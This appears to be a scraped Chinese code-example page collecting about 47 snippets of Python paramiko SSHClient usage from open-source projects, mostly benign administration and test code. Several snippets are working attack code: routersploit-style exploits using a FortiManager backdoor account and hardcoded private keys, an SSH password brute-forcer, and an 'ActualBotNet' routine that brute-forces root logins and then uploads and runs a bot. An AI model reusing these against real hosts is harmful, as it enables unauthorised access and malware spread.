Python paramiko 模块,SSHClient() 实例源码

我们从Python开源项目中,提取了以下47个代码示例,用于说明如何使用paramiko.SSHClient()

项目:Python-Network-Programming-Cookbook-Second-Edition    作者:PacktPublishing    | 项目源码 | 文件源码
def copy_file(hostname, port, username, password, src, dst):
    client = paramiko.SSHClient()
    client.load_system_host_keys()
    print (" Connecting to %s \n with username=%s... \n" %(hostname,username))
    t = paramiko.Transport(hostname, port)
    t.connect(username=username,password=password)
    sftp = paramiko.SFTPClient.from_transport(t)
    print ("Copying file: %s to path: %s" %(src, dst))
    sftp.put(src, dst)
    sftp.close()
    t.close()
项目:os-xenapi    作者:openstack    | 项目源码 | 文件源码
def test_ssh(self, mock_exec, mock_conn, mock_set):
        mock_log = mock.Mock()
        mock_channel = mock.Mock()
        mock_exec.return_value = (fake_channel_file(['input']),
                                  fake_channel_file(['out_line1',
                                                     'out_line2'],
                                                    mock_channel),
                                  fake_channel_file(['err_line1',
                                                     'err_line2']))
        mock_channel.recv_exit_status.return_value = 0

        client = sshclient.SSHClient('ip', 'username', password='password',
                                     log=mock_log)
        out, err = client.ssh('fake_command', output=True)

        mock_log.debug.assert_called()
        mock_exec.assert_called()
        mock_log.info.assert_called_with('out_line1\nout_line2')
        mock_log.error.assert_called_with('err_line1\nerr_line2')
        mock_channel.recv_exit_status.assert_called_with()
        self.assertEqual(out, 'out_line1\nout_line2')
        self.assertEqual(err, 'err_line1\nerr_line2')
项目:taf    作者:taf3    | 项目源码 | 文件源码
def execute_ssh_command(self, command):
        """Executes command on switch.

        Args:
            command(str):  ssh command to execute

        """
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        # Make connection and create shell.
        client.connect(self.ipaddr, self._sshtun_port, self.ssh_user, self.ssh_user_pass)
        shell = client.invoke_shell()

        # Execute command and get results.
        _, stdout, stderr = client.exec_command(command)
        data = self._read_command_output(stdout, stderr, 'both')

        # Close connection.
        shell.close()
        client.close()

        return data
项目:transfert    作者:rbernand    | 项目源码 | 文件源码
def _simple_scp(method, source, dest):
        remote = source if method == 'get' else dest
        client = paramiko.SSHClient()
        client.load_system_host_keys()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(remote.url.host, remote.url.port or 22, remote.url.user, remote.url.password)
        scpc = scp.SCPClient(client.get_transport())
        getattr(scpc, method)(source.url.path, dest.url.path)
项目:functest    作者:opnfv    | 项目源码 | 文件源码
def __init__(self, ip_address, user, password=None, key_filename=None):
        self.ip_address = ip_address
        self.user = user
        self.password = password
        self.key_filename = key_filename
        self.connected = False
        self.shell = None

        self.logger.setLevel(logging.INFO)

        self.ssh = paramiko.SSHClient()
        self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        self.util = Utilvnf()
        with open(self.util.test_env_config_yaml) as file_fd:
            test_env_config_yaml = yaml.safe_load(file_fd)
        file_fd.close()

        self.ssh_revieve_buff = test_env_config_yaml.get("general").get(
            "ssh_receive_buffer")
项目:routersploit    作者:reverse-shell    | 项目源码 | 文件源码
def check(self):
        url = "{}:{}/img/favicon.png?v=6.0.1-1213".format(self.target, self.port)
        response = http_request(method="GET", url=url)

        if response is not None and response.status_code == 200:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            target = self.target.replace("http://", "").replace("https://", "")

            try:
                ssh.connect(target, self.ssh_port, timeout=5, username=random_text(8), password=random_text(8))
            except paramiko.AuthenticationException:
                    return True  # target is vulnerable
            except Exception:
                pass

        return False  # target is not vulnerable
项目:routersploit    作者:reverse-shell    | 项目源码 | 文件源码
def run(self):
        if self.check():
            if "DSA PRIVATE KEY" in self.valid['private_key']:
                pkey = paramiko.DSSKey.from_private_key(StringIO.StringIO(self.valid['private_key']))
            elif "RSA PRIVATE KEY" in self.valid['private_key']:
                pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(self.valid['private_key']))

            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            try:
                ssh.connect(self.target, self.ssh_port, timeout=5, username=self.valid['user'], pkey=pkey)
            except Exception:
                ssh.close()
                print_error("Device seems to be not vulnerable")
            else:
                print_success("SSH - Successful authentication")
                ssh_interactive(ssh)
        else:
            print_error("Exploit failed - target seems to be not vulnerable")
项目:routersploit    作者:reverse-shell    | 项目源码 | 文件源码
def check(self):
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        try:
            client.connect(self.target, self.ssh_port, username='', allow_agent=False, look_for_keys=False)
        except paramiko.ssh_exception.SSHException:
            pass
        except Exception:
            return False  # target is not vulnerable

        trans = client.get_transport()
        try:
            trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
        except paramiko.ssh_exception.AuthenticationException:
            pass
        except Exception:
            return None  # could not verify

        try:
            trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
        except Exception:
            return False  # target is not vulnerable

        return True  # target is vulnerable
项目:purelove    作者:hucmosin    | 项目源码 | 文件源码
def check(self):
        url = "{}:{}/img/favicon.png?v=6.0.1-1213".format(self.target, self.port)
        response = http_request(method="GET", url=url)

        if response is not None and response.status_code == 200:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            target = self.target.replace("http://", "").replace("https://", "")

            try:
                ssh.connect(target, self.ssh_port, timeout=5, username=random_text(8), password=random_text(8))
            except paramiko.AuthenticationException:
                    return True  # target is vulnerable
            except Exception:
                pass

        return False  # target is not vulnerable
项目:purelove    作者:hucmosin    | 项目源码 | 文件源码
def run(self):
        if self.check():
            if "DSA PRIVATE KEY" in self.valid['private_key']:
                pkey = paramiko.DSSKey.from_private_key(StringIO.StringIO(self.valid['private_key']))
            elif "RSA PRIVATE KEY" in self.valid['private_key']:
                pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(self.valid['private_key']))

            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

            try:
                ssh.connect(self.target, self.ssh_port, timeout=5, username=self.valid['user'], pkey=pkey)
            except Exception:
                ssh.close()
                print_error("Device seems to be not vulnerable")
            else:
                print_success("SSH - Successful authentication")
                ssh_interactive(ssh)
        else:
            print_error("Exploit failed - target seems to be not vulnerable")
项目:purelove    作者:hucmosin    | 项目源码 | 文件源码
def check(self):
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        try:
            client.connect(self.target, self.ssh_port, username='', allow_agent=False, look_for_keys=False)
        except paramiko.ssh_exception.SSHException:
            pass
        except Exception:
            return False  # target is not vulnerable

        trans = client.get_transport()
        try:
            trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
        except paramiko.ssh_exception.AuthenticationException:
            pass
        except Exception:
            return None  # could not verify

        try:
            trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
        except Exception:
            return False  # target is not vulnerable

        return True  # target is vulnerable
项目:geppetto    作者:datosio    | 项目源码 | 文件源码
def is_ssh_ready(ip, username, password=None, key=None):
    """
    Checks if it is possible to connect to the ip using the credentials.
    :param ip: ip to check for ssh connectivity
    :param username: username
    :param password: password
    :param key: pass to *.pem key
    :return: boolean of the connection state
    """
    try:
        private_key = paramiko.RSAKey.from_private_key_file(os.path.expanduser(key))
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(ip, username=username, password=password, pkey=private_key)
        ssh.close()
        return True
    except Exception:
        report("SSH is not responsive for %s:\n%s" % (ip, traceback.format_exc()))
        return False
项目:core-python    作者:yidao620c    | 项目源码 | 文件源码
def exe_command(hostname_, username_, password_, commandpaths_):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(hostname_, username=username_, password=password_)
    # channel = ssh.invoke_shell()
    # ssh_stdin, ssh_stdout, ssh_stderr = channel.exec_command(commandpath_)
    for command_ in commandpaths_:
        commandpath_, issudo = command_
        ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(commandpath_, get_pty=issudo)
        for eline in ssh_stdout.readlines():
            print('ssh_stdout:{}'.format(eline), end='')
        for eline in ssh_stderr.readlines():
            print('ssh_stderr:{}'.format(eline), end='')
        # Cleanup
        ssh_stdin.close()
        ssh_stdout.close()
        ssh_stderr.close()
    # channel.close()
    ssh.close()
    LOG.info('end successfully!')
项目:cluster-genesis    作者:open-power-ref-design-toolkit    | 项目源码 | 文件源码
def issue_cmd(self, cmd):
        """Issue command to switch via SSH and return its stdout.

        Args:
            cmd (string): Command to issue.

        Returns:
            string: Command stdout.
        """
        if self.log_level == self.DEBUG or self.log_level == self.INFO:
            paramiko.util.log_to_file(self.SSH_LOG)
        s = paramiko.SSHClient()
        s.load_system_host_keys()
        s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        s.connect(self.ip, self.port, self.userid, self.password)
        stdin, stdout, stderr = s.exec_command(
            self.ENABLE_REMOTE_CONFIG % (cmd))
        output = stdout.read()
        s.close()
        return output
项目:coriolis    作者:cloudbase    | 项目源码 | 文件源码
def _connect(self, connection_info):
        ip = connection_info["ip"]
        port = connection_info.get("port", 22)
        username = connection_info["username"]
        pkey = connection_info.get("pkey")
        password = connection_info.get("password")

        LOG.info("Waiting for connectivity on host: %(ip)s:%(port)s",
                 {"ip": ip, "port": port})
        utils.wait_for_port_connectivity(ip, port)

        self._event_manager.progress_update(
            "Connecting to SSH host: %(ip)s:%(port)s" %
            {"ip": ip, "port": port})
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(hostname=ip, port=port, username=username, pkey=pkey,
                    password=password)
        self._ssh = ssh
项目:LiMEaide    作者:kd8bny    | 项目源码 | 文件源码
def connect(self):
        """Call to set connection with remote client."""
        try:
            self.session = paramiko.SSHClient()
            self.session.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            self.session.connect(
                self.client_.ip, username=self.client_.user,
                password=self.client_.pass_)

            self.SFTP = self.session.open_sftp()

        except (paramiko.AuthenticationException,
                paramiko.ssh_exception.NoValidConnectionsError) as e:
            print(colored("> {}".format(e), 'red'))
            self.logger.error(e)
            sys.exit()
项目:TAC-Airflow-Plugin    作者:vipul-tm    | 项目源码 | 文件源码
def get_client(self):
        """
        Returns a redis connection object
        """
        conn_config = {
            "host": self.conn.host or 'localhost',
            "port": self.conn.port or 22,
        "login": self.conn.login or 'admin',
        "password":self.conn.password or 'admin'
        }


        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(conn_config['host'],username=conn_config['login'],password=conn_config['password'])
        return client
项目:opsweb    作者:wylok    | 项目源码 | 文件源码
def __init__(self,username,ip,keyfile=None):
        self.username = username
        self.ip = ip
        self._ssh = paramiko.SSHClient()
        self._ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        if keyfile:
            self.key_file = keyfile
            self.key = paramiko.RSAKey.from_private_key_file(self.key_file)
            if 'dsa' or 'dss' in self.key_file:
                self.key = paramiko.DSSKey.from_private_key_file(self.key_file)
            self._ssh.connect(self.ip, 22, self.username, pkey=self.key, timeout=5)
        else:
            self.pw = '{0}@baihe.op'.format(username)
            if self.username == 'root':
                self.pw = app.config.get('INIT_PASSWORD')
            self._ssh.connect(self.ip, 22, self.username, password=self.pw, timeout=5)
项目:kuberdock-platform    作者:cloudlinux    | 项目源码 | 文件源码
def get_ssh(host, user, password, look_for_keys=True):
    ssh = SSHClient()
    ssh.set_missing_host_key_policy(AutoAddPolicy())
    try:
        try:
            ssh.connect(host, username=user, password=password, timeout=5,
                        look_for_keys=look_for_keys)
        except AuthenticationException as err:
            LOG.error("{0} for host={1} username={2} password={3}".format(
                repr(err), host, user, password
            ))
            raise
        except Exception as e:
            LOG.error(str(e))
            if 'timed out' in str(e) or 'Connection refused' in str(e):
                raise Exception('Connection error: timed out or refused.')
            raise e
        yield ssh
    finally:
        ssh.close()
项目:kuberdock-platform    作者:cloudlinux    | 项目源码 | 文件源码
def exec_in_container(self, pod_id, container_name, command):
        k8s_pod = self._get_by_id(pod_id)
        ssh_access = getattr(k8s_pod, 'direct_access', None)
        if not ssh_access:
            raise ContainerCommandExecutionError(
                "Couldn't access the contianer")
        if container_name not in ssh_access['links']:
            raise NotFound('Container not found')
        username, host = ssh_access['links'][container_name].split('@', 1)

        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            ssh.connect(host, username=username, password=ssh_access['auth'],
                        timeout=10, look_for_keys=False, allow_agent=False)
        except Exception:
            raise ContainerCommandExecutionError(
                'Failed to connect to the container')
        try:
            _, o, _ = ssh.exec_command(command, timeout=20)
            exit_status = o.channel.recv_exit_status()
            result = o.read().strip('\n')
        except Exception:
            raise ContainerCommandExecutionError()
        return {'exitStatus': exit_status, 'result': result}
项目:kuberdock-platform    作者:cloudlinux    | 项目源码 | 文件源码
def ssh_connect(host, timeout=10):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    error_message = None
    try:
        ssh.connect(host, username='root', key_filename=SSH_KEY_FILENAME,
                    timeout=timeout)
    except (AuthenticationException, SSHException) as e:
        error_message =\
            '{0}.\nCheck hostname, check that user from which '.format(e) +\
            'Kuberdock runs (usually nginx) has ability to login as root on ' \
            'this node, and try again'
    except socket.timeout:
        error_message = 'Connection timeout({0} sec). '.format(timeout) +\
                        'Check hostname and try again'
    except socket.error as e:
        error_message =\
            '{0} Check hostname, your credentials, and try again'.format(e)
    except IOError as e:
        error_message =\
            'ssh_connect: cannot use SSH-key: {0}'.format(e)
    return ssh, error_message
项目:cmdb    作者:hequan2017    | 项目源码 | 文件源码
def ssh(ip,port,username,password,cmd):
    try:
        ssh = paramiko.SSHClient()  # ??ssh??
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(hostname=ip, port=int(port), username=username, password=password, )
        stdin, stdout, stderr = ssh.exec_command(cmd, timeout=10)
        result = stdout.read()
        result1 = result.decode()
        error = stderr.read().decode('utf-8')

        if not error:
            ret = {"ip":ip,"data":result1}
            ssh.close()
            return ret
    except Exception as e:
        error = "???????,{}".format(e)
        ret = {"ip": ip, "data": error}
        return   ret
项目:elephaas    作者:peak6    | 项目源码 | 文件源码
def receive_file(self, source, dest):
        """
        Transmit a file to a remote host via SSH

        We transmit the indicated file to the target location. Any errors
        are simply passed along. In addition, the postgres system user is
        currently assumed as the target file owner.

        :param source: Name of file to send to indicated host.
        :param dest: Full path on host to send file.

        :raise: Exception output obtained from secure transmission, if any.
        """

        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(self.instance.server.hostname, username='postgres')
        sftp = client.open_sftp()
        sftp.put(source, dest)
        sftp.close()
        client.close()
项目:cuny-bdif    作者:aristotle-tek    | 项目源码 | 文件源码
def test_timeout(self):
        client_tmp = paramiko.SSHClient

        def client_mock():
            client = client_tmp()
            client.connect = mock.Mock(name='connect')
            return client

        paramiko.SSHClient = client_mock
        paramiko.RSAKey.from_private_key_file = mock.Mock()

        server = mock.Mock()
        test = SSHClient(server)

        self.assertEqual(test._ssh_client.connect.call_args[1]['timeout'], None)

        test2 = SSHClient(server, timeout=30)

        self.assertEqual(test2._ssh_client.connect.call_args[1]['timeout'], 30)
项目:cuny-bdif    作者:aristotle-tek    | 项目源码 | 文件源码
def get_ssh_client(self, key_file=None, host_key_file='~/.ssh/known_hosts',
                       uname='root'):
        import paramiko
        if not self.instance:
            print('No instance yet!')
            return
        if not self._ssh_client:
            if not key_file:
                iobject = IObject()
                key_file = iobject.get_filename('Path to OpenSSH Key file')
            self._pkey = paramiko.RSAKey.from_private_key_file(key_file)
            self._ssh_client = paramiko.SSHClient()
            self._ssh_client.load_system_host_keys()
            self._ssh_client.load_host_keys(os.path.expanduser(host_key_file))
            self._ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            self._ssh_client.connect(self.instance.public_dns_name,
                                     username=uname, pkey=self._pkey)
        return self._ssh_client
项目:ActualBotNet    作者:invasi0nZ    | 项目源码 | 文件源码
def brute_ssh(self, host):
        global passwords
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        for pswd in passwords:
            try:
                ssh.connect(host, port=22, username="root", password=pswd)
                sftp = ssh.open_sftp()
                ssh.exec_command("cd ..")
                ssh.exec_command("mkdir .etc")
                ssh.exec_command("cd .etc")
                for file in os.listdir("SSH_files_linux"):
                    sftp.put(file, ".etc")
                sftp.close()
                ssh.exec_command("chmod +x ActualBot.py")
                ssh.exec_command("./ActualBot.py")
                ssh.close()
            except paramiko.AuthenticationException:
                pass
            except socket.error:
                pass
        return None
项目:opsmgr    作者:open-power-ref-design-toolkit    | 项目源码 | 文件源码
def _connect():
        client = paramiko.SSHClient()
        if os.path.exists(NagiosPlugin.OPSMGR_CONF):
            try:
                parser = configparser.ConfigParser()
                parser.read(NagiosPlugin.OPSMGR_CONF, encoding='utf-8')
                server = parser.get(NagiosPlugin.NAGIOS_SECTION, NagiosPlugin.NAGIOS_SERVER).lstrip('"').rstrip('"')
                userid = parser.get(NagiosPlugin.NAGIOS_SECTION, NagiosPlugin.NAGIOS_USERID).lstrip('"').rstrip('"')
                sshkey = parser.get(NagiosPlugin.NAGIOS_SECTION, NagiosPlugin.NAGIOS_SSHKEY).lstrip('"').rstrip('"')
                prvkey = paramiko.RSAKey.from_private_key_file(sshkey)
                client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                client.connect(server, username=userid, pkey=prvkey, timeout=30, allow_agent=False)
            except:
                raise exceptions.OpsException("connection to nagios server failed:\n"
                                              "Server: " + server + "\n"
                                              "Userid: " + userid + "\n"
                                              "Sshkey: " + sshkey + "\n")
        return client
项目:opsmgr    作者:open-power-ref-design-toolkit    | 项目源码 | 文件源码
def _connect():
        client = paramiko.SSHClient()
        if os.path.exists(GangliaPlugin.OPSMGR_CONF):
            try:
                parser = configparser.ConfigParser()
                parser.read(GangliaPlugin.OPSMGR_CONF, encoding='utf-8')
                server = parser.get(GangliaPlugin.GANGLIA_SECTION, GangliaPlugin.GANGLIA_SERVER).lstrip('"').rstrip('"')
                userid = parser.get(GangliaPlugin.GANGLIA_SECTION, GangliaPlugin.GANGLIA_USERID).lstrip('"').rstrip('"')
                sshkey = parser.get(GangliaPlugin.GANGLIA_SECTION, GangliaPlugin.GANGLIA_SSHKEY).lstrip('"').rstrip('"')
                prvkey = paramiko.RSAKey.from_private_key_file(sshkey)
                client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                client.connect(server, username=userid, pkey=prvkey, timeout=30, allow_agent=False)
            except:
                raise exceptions.OpsException("connection to ganglia server failed:\n"
                                              "Server: " + server + "\n"
                                              "Userid: " + userid + "\n"
                                              "Sshkey: " + sshkey + "\n")
        return client
项目:myautotest    作者:auuppp    | 项目源码 | 文件源码
def sql_init(ip,username,password,cmd):
    try:
        client = paramiko.SSHClient()
        # Default accept unknown keys
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        # Connect
        client.connect(ip, port=22, username=username, password=password,timeout="20s")
        # Execute shell remotely
        stdin, stdout, stderr = client.exec_command(cmd)
        stdout.read()
        print stdout
        client.close()
    #sftp = client.open_sftp()
    # Make a dir
    #sftp.mkdir('/home/testssh')
    # Down file from remote to local ????????????????
    #sftp.get('firewall.sh', '/tmp/firewall.sh')
    # Upload file from local to remote ????????
    #sftp.put('D:/iso/auto.sh', '/home/testssh/auto.sh')
    except Exception, e:
        print 'authentication failed or execute commands failed:',e
#dropdatabase("172.30.121.54","webui","123456","drop database frontend")
#sql_init("172.30.121.54", "root", "teamsun", "mysql -uwebui -p123456 < /etc/frontend/frontend.sql")
项目:bastion-ssh    作者:wcc526    | 项目源码 | 文件源码
def __init__(self, context):
        self.context = context
        self.connection_attempts = 20
        self.transport = None
        self.client = paramiko.SSHClient()
        self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        for tries in range(self.connection_attempts):
            try:
                self.client.connect(hostname=self.context.hostname,
                                    username=self.context.username,
                                    port=self.context.port,
                                    allow_agent=True,
                                    look_for_keys=True)
                break
            except paramiko.ssh_exception.AuthenticationException, paramiko.ssh_exception.SSHException:
                LOG.warning("Unable to authenticate with remote server")
                raise bastion_ssh.errors.ConnectionError(
                    "Unable to authenticate with remote server")
            except (socket.error, EOFError):
                LOG.warning("connection refused. retrying.")
                time.sleep(tries + 1)
项目:PyHack    作者:lanxia    | 项目源码 | 文件源码
def sshCommand(ip, user, passwd, command):
    try:
        key = paramiko.RSAKey.from_private_key_file("/home/ubuntu/data/PyHack/qCloud")
    except paramiko.PasswordRequiredException:
        pass

    client = paramiko.SSHClient()
    #client.load_host_keys('/home/ubuntu/.ssh/kow')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username = user, pkey = key)
    sshSession = client.get_transport().open_session()

    if sshSession.active:
        sshSession.exec_command(command)
        print sshSession.recv(1024)

    return
项目:trex-http-proxy    作者:alwye    | 项目源码 | 文件源码
def _try_passwordless_paramiko(server, keyfile):
    """Try passwordless login with paramiko."""
    if paramiko is None:
        msg = "Paramiko unavaliable, "
        if sys.platform == 'win32':
            msg += "Paramiko is required for ssh tunneled connections on Windows."
        else:
            msg += "use OpenSSH."
        raise ImportError(msg)
    username, server, port = _split_server(server)
    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())
    try:
        client.connect(server, port, username=username, key_filename=keyfile,
               look_for_keys=True)
    except paramiko.AuthenticationException:
        return False
    else:
        client.close()
        return True
项目:xunfeng    作者:ysrc    | 项目源码 | 文件源码
def check(ip, port, timeout):
    user_list = ['root', 'admin', 'oracle', 'weblogic']
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    for user in user_list:
        for pass_ in PASSWORD_DIC:
            pass_ = str(pass_.replace('{user}', user))
            try:
                ssh.connect(ip, port, user, pass_, timeout=timeout, allow_agent = False, look_for_keys = False)
                ssh.exec_command('whoami',timeout=timeout)
                if pass_ == '': pass_ = "null"
                return u"?????????%s????%s" % (user, pass_)
            except Exception, e:
                if "Unable to connect" in e or "timed out" in e: return
            finally:
                ssh.close()
项目:nfvOrchestrator    作者:uestcNFVproject    | 项目源码 | 文件源码
def ssh_execute_cli(cli, sff_locator):
    """ """
    remoteConnectionSetup = paramiko.SSHClient()
    remoteConnectionSetup.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    remoteConnectionSetup.connect(sff_locator,
                                  username='cisco', password='cisco',
                                  allow_agent=False, look_for_keys=False)
    # invoke the shell so can send multiple commands
    sshChannel = remoteConnectionSetup.invoke_shell()

    # make sure in enable mode so we can configure the router
    is_enabled = sshChannel.recv(1000)
    if "#" not in is_enabled:
        enable_router(sshChannel)

    # execute the necessary commands to configure the router
    send_command_and_wait_for_execution(sshChannel, "conf t\n", "#", False)
    send_command_and_wait_for_execution(sshChannel, cli + '\n', "#", False)
    remoteConnectionSetup.close()  # close the connection
项目:isard    作者:isard-vdi    | 项目源码 | 文件源码
def exec_remote_list_of_cmds(hostname, commands, username='root', port=22, sudo=False):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(hostname, port=port, username=username)

    returned_array = []

    for command in commands:
        log.debug('command to launch in ssh in {}: {}'.format(hostname, command))
        stdin, stdout, stderr = client.exec_command(command)
        out = stdout.read().decode('utf-8')
        err = stderr.read().decode('utf-8')
        returned_array.append({'out': out, 'err': err})
        log.debug('commnad launched / out: {} / error: {}'.format(out, err))

    client.close()

    return returned_array
项目:isard    作者:isard-vdi    | 项目源码 | 文件源码
def exec_remote_list_of_cmds_dict(hostname, list_dict_commands, username='root', port=22, ssh_key_str='', sudo=False):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    if len(ssh_key_str) > 0:
        # TODO: make ssh_key login
        pass
    else:
        client.connect(hostname, port=port, username=username)

    returned_array = list_dict_commands.copy()

    i = 0
    for command in list_dict_commands:
        log.debug('command to launch in ssh in {}: {}'.format(hostname, command['cmd']))
        stdin, stdout, stderr = client.exec_command(command['cmd'])
        returned_array[i]['out'] = stdout.read().decode('utf-8')
        returned_array[i]['err'] = stderr.read().decode('utf-8')
        log.debug('commnad launched / out: {} / error: {}'.format(returned_array[i]['out'], returned_array[i]['err']))
        i = i + 1

    client.close()

    return returned_array
项目:isard    作者:isard-vdi    | 项目源码 | 文件源码
def exec_remote_list_of_cmds(hostname, commands, username='root', port=22, sudo=False):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(hostname, port=port, username=username)

    returned_array = []

    for command in commands:
        log.debug('command to launch in ssh in {}: {}'.format(hostname, command))
        stdin, stdout, stderr = client.exec_command(command)
        out = stdout.read().decode('utf-8')
        err = stderr.read().decode('utf-8')
        returned_array.append({'out': out, 'err': err})
        log.debug('commnad launched / out: {} / error: {}'.format(out, err))

    client.close()

    return returned_array
项目:isard    作者:isard-vdi    | 项目源码 | 文件源码
def exec_remote_list_of_cmds_dict(hostname, list_dict_commands, username='root', port=22, ssh_key_str='', sudo=False):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    if len(ssh_key_str) > 0:
        # TODO: make ssh_key login
        pass
    else:
        client.connect(hostname, port=port, username=username)

    returned_array = list_dict_commands.copy()

    i = 0
    for command in list_dict_commands:
        log.debug('command to launch in ssh in {}: {}'.format(hostname, command['cmd']))
        stdin, stdout, stderr = client.exec_command(command['cmd'])
        returned_array[i]['out'] = stdout.read().decode('utf-8')
        returned_array[i]['err'] = stderr.read().decode('utf-8')
        log.debug('commnad launched / out: {} / error: {}'.format(returned_array[i]['out'], returned_array[i]['err']))
        i = i + 1

    client.close()

    return returned_array
项目:linreg-mpc    作者:schoppmp    | 项目源码 | 文件源码
def retrieve_out_files(party_out_files,
                        remote_dest_folder, local_dest_folder):
        for i, f in enumerate(party_out_files):
            ip = public_ips[i] if USE_PUB_IPS else private_ips[i]
            key = paramiko.RSAKey.from_private_key_file(KEY_FILE)
            client = paramiko.SSHClient()
            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            client.connect(hostname=ip, username=REMOTE_USER, pkey=key)
            sftp = client.open_sftp()
            sftp.chdir(os.path.join('secure-distributed-linear-regression',
                remote_dest_folder))
            logger.info(
                'Retrieving .exec file {0} from {1} in {2}'.format(
                    f, remote_dest_folder, ip))
            sftp.get(f, os.path.join(local_dest_folder, f))
            client.close()
项目:dao_manage    作者:houziyu    | 项目源码 | 文件源码
def ssh_connect(server_name,script_path,script_parameter):
    pkey = paramiko.RSAKey.from_private_key_file(dao_config.key_address)
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    command = "bash" + ' ' +script_path + ' ' + script_parameter
    print(command)
    ssh.connect(
                hostname=server_name,
                port=22,
                username='root',
                pkey=pkey)
    stdin, stdout, stderr = ssh.exec_command(command)
    # out_log_all=stdout.readlines().decode()
    out_log_all = stdout.read().decode()
    err_log_all=stderr.read().decode()
    ssh.close()
    if err_log_all:
        return err_log_all
    return   out_log_all
项目:awslambdamonitor    作者:gene1wood    | 项目源码 | 文件源码
def ssh(config, host):
    """
    Check that a host is running SSH

    :param config: Unused
    :param host: The host to check
    :return: 3-tuple of (success, name, message)
        success: Boolean value indicating if there is a problem or not
        name: DNS name
        message: String describing the status
    """
    del config
    name = host
    try:
        ssh_conn = paramiko.SSHClient()
        ssh_conn.set_missing_host_key_policy(
            paramiko.client.MissingHostKeyPolicy())
        ssh_conn.connect(host)
        return True
    except (paramiko.BadHostKeyException, paramiko.AuthenticationException,
            paramiko.SSHException, socket.error) as e:
        return (False, name, "Unable to SSH to %s %s %s"
                % (host, e.__class__, e))
项目:isf    作者:w3h    | 项目源码 | 文件源码
def __init__(self, hostname, port, username, password, use_scp=False, scp_sanitize=None):
        """
        :param hostname: ssh server hostname or ip
        :param port: ssh server port
        :param username: ssh login username
        :param password: ssh login password
        :param use_scp: use the SCP protocol for transferring files instead of SFTP (default: False)
        :param scp_sanitize: sanitization function used on filenames passed to the scp module, if used. (defaut: no sanitization)
        """
        self._hostname = hostname
        self._port = port
        self._username = username
        self._password = password
        self._use_scp = use_scp
        self._scp_sanitize = scp_sanitize if callable(scp_sanitize) else lambda s:s

        if self._use_scp and not scp_imported:
            raise Exception("The scp package needs to be installed in order to copy files with scp")

        self._paramiko = paramiko.SSHClient()
        self._paramiko.set_missing_host_key_policy(paramiko.AutoAddPolicy())
项目:spoonybard    作者:notnownikki    | 项目源码 | 文件源码
def open(self):
        """Open the ssh connection"""
        key_str = io.StringIO(self.config['key'])
        pkey = paramiko.RSAKey.from_private_key(key_str)
        self.client = paramiko.SSHClient()
        self.client.set_missing_host_key_policy(
            paramiko.AutoAddPolicy())
        self.client.connect(
            self.config['hostname'], username=self.config['username'],
            pkey=pkey, timeout=60, banner_timeout=60)
        self.transport = self.client.get_transport()
        self.transport.set_keepalive(60)
        self.script_filename = self.get_tmp_script_filename()
项目:transfert    作者:rbernand    | 项目源码 | 文件源码
def _connect(self):
        client = paramiko.SSHClient()
        client.load_system_host_keys()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(self.url.host, self.url.port or 22, self.url.user, self.url.password)
        return scp.SCPClient(client.get_transport())
项目:os-xenapi    作者:openstack    | 项目源码 | 文件源码
def test_init(self, mock_conn, mock_set):
